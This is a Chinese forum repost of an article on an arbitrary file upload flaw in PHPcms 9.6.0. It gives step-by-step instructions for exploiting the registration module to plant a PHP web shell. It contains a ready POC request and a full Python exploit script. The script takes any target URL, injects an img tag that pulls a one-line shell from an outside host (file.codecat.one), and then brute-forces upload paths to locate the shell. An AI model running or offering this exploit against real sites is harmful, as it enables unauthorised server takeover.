找回密码
 注册
首页 ≡≡网络技术≡≡ PHP语言 PHPcms9.6.0 最新版任意文件上传漏洞(直接getshell) ...

CMS PHPcms9.6.0 最新版任意文件上传漏洞(直接getshell)

灰儿 2017-4-12 16:47:17
对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下:

首先我们在本地搭建一个php环境,我这里是appserv(只要可以执行php文件就行)

在根目录下新建一个txt文本文件里面写上php一句话,如上图可以访问

接着我们找到phpcms网站注册模块,随便填一下信息

然后我们用burpsuite抓包

然后发送到repeater

我们在最下面的注册那儿使用img标签插入我们本地第一步搭建的一句话

poc如下:


  1. siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://192.168.1.157/templets/1.txt?.php#.jpg>&dosubmit=1&protocol=
复制代码

只需要修改img里面的链接为你本地写入的一句话即可,还有要注意的是在repeater里测试go时每一次都要修改username,password和email字段值(不能重复,汗)

我们可以看到repeater里MYSQL query成功插入,接着访问上图repeater里我标黄语句,执行一句话

连接菜刀,getshell

利用方式二:

利用火狐的插件,操作如下

exp如下:三少


  1. # -*- coding:utf-8 -*-
  2. import requests
  3. import sys
  4. from datetime import datetime
  5. def getTime():
  6.     year = str(datetime.now().year)
  7.     month = "%02d" % datetime.now().month
  8.     day = "%02d" % datetime.now().day
  9.     hour = datetime.now().hour
  10.     hour = hour - 12 if hour > 12 else hour
  11.     hour = "%02d" % hour
  12.     minute = "%02d" % datetime.now().minute
  13.     second = "%02d" % datetime.now().second
  14.     microsecond = "%06d" % datetime.now().microsecond
  15.     microsecond = microsecond[:3]
  16.     nowTime = year + month + day + hour + minute + second + microsecond
  17.     return int(nowTime), year + "/" + month + day + "/"
  18. def main():
  19.     if len(sys.argv) < 2:
  20.         print("[*]Usage   : Python 1.py http://xxx.com")
  21.         sys.exit()
  22.     host = sys.argv[1]
  23.     url = host + "/index.php?m=member&c=index&a=register&siteid=1"
  24.     data = {
  25.         "siteid": "1",
  26.         "modelid": "1",
  27.         "username": "dsakkfaffdssdudi",
  28.         "password": "123456",
  29.         "email": "dsakkfddsjdi@qq.com",
  30.         # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0
  31.         "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>",
  32.         "dosubmit": "1",
  33.         "protocol": "",
  34.     }
  35.     try:
  36.         startTime, _ = getTime()
  37.         htmlContent = requests.post(url, data=data)
  38.         finishTime, dateUrl = getTime()
  39.         if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
  40.             successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
  41.             print("[*]Shell  : %s" % successUrl)
  42.         else:
  43.             print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second),or re-run the program after modifying value of username and email.\n")
  44.             successUrl = ""
  45.             for t in range(startTime, finishTime):
  46.                 checkUrlHtml = requests.get(
  47.                     host + "/uploadfile/" + dateUrl + str(t) + ".php")
  48.                 if checkUrlHtml.status_code == 200:
  49.                     successUrl = host + "/uploadfile/" + \
  50.                         dateUrl + str(t) + ".php"
  51.                     print("[*]Shell  : %s" % successUrl)
  52.                     break
  53.             if successUrl == "":
  54.                 print(
  55.                     "[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")
  56.     except:
  57.         print("Request Error")
  58. if __name__ == '__main__':
  59.     main()
复制代码

*原创作者:三少,本文属FreeBuf原创奖励计划,未经许可禁止转载

http://www.freebuf.com/vuls/131648.html?spm=5176.7752487.2.5.ktjJKf
您需要登录后才可以回帖 登录 | 注册
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。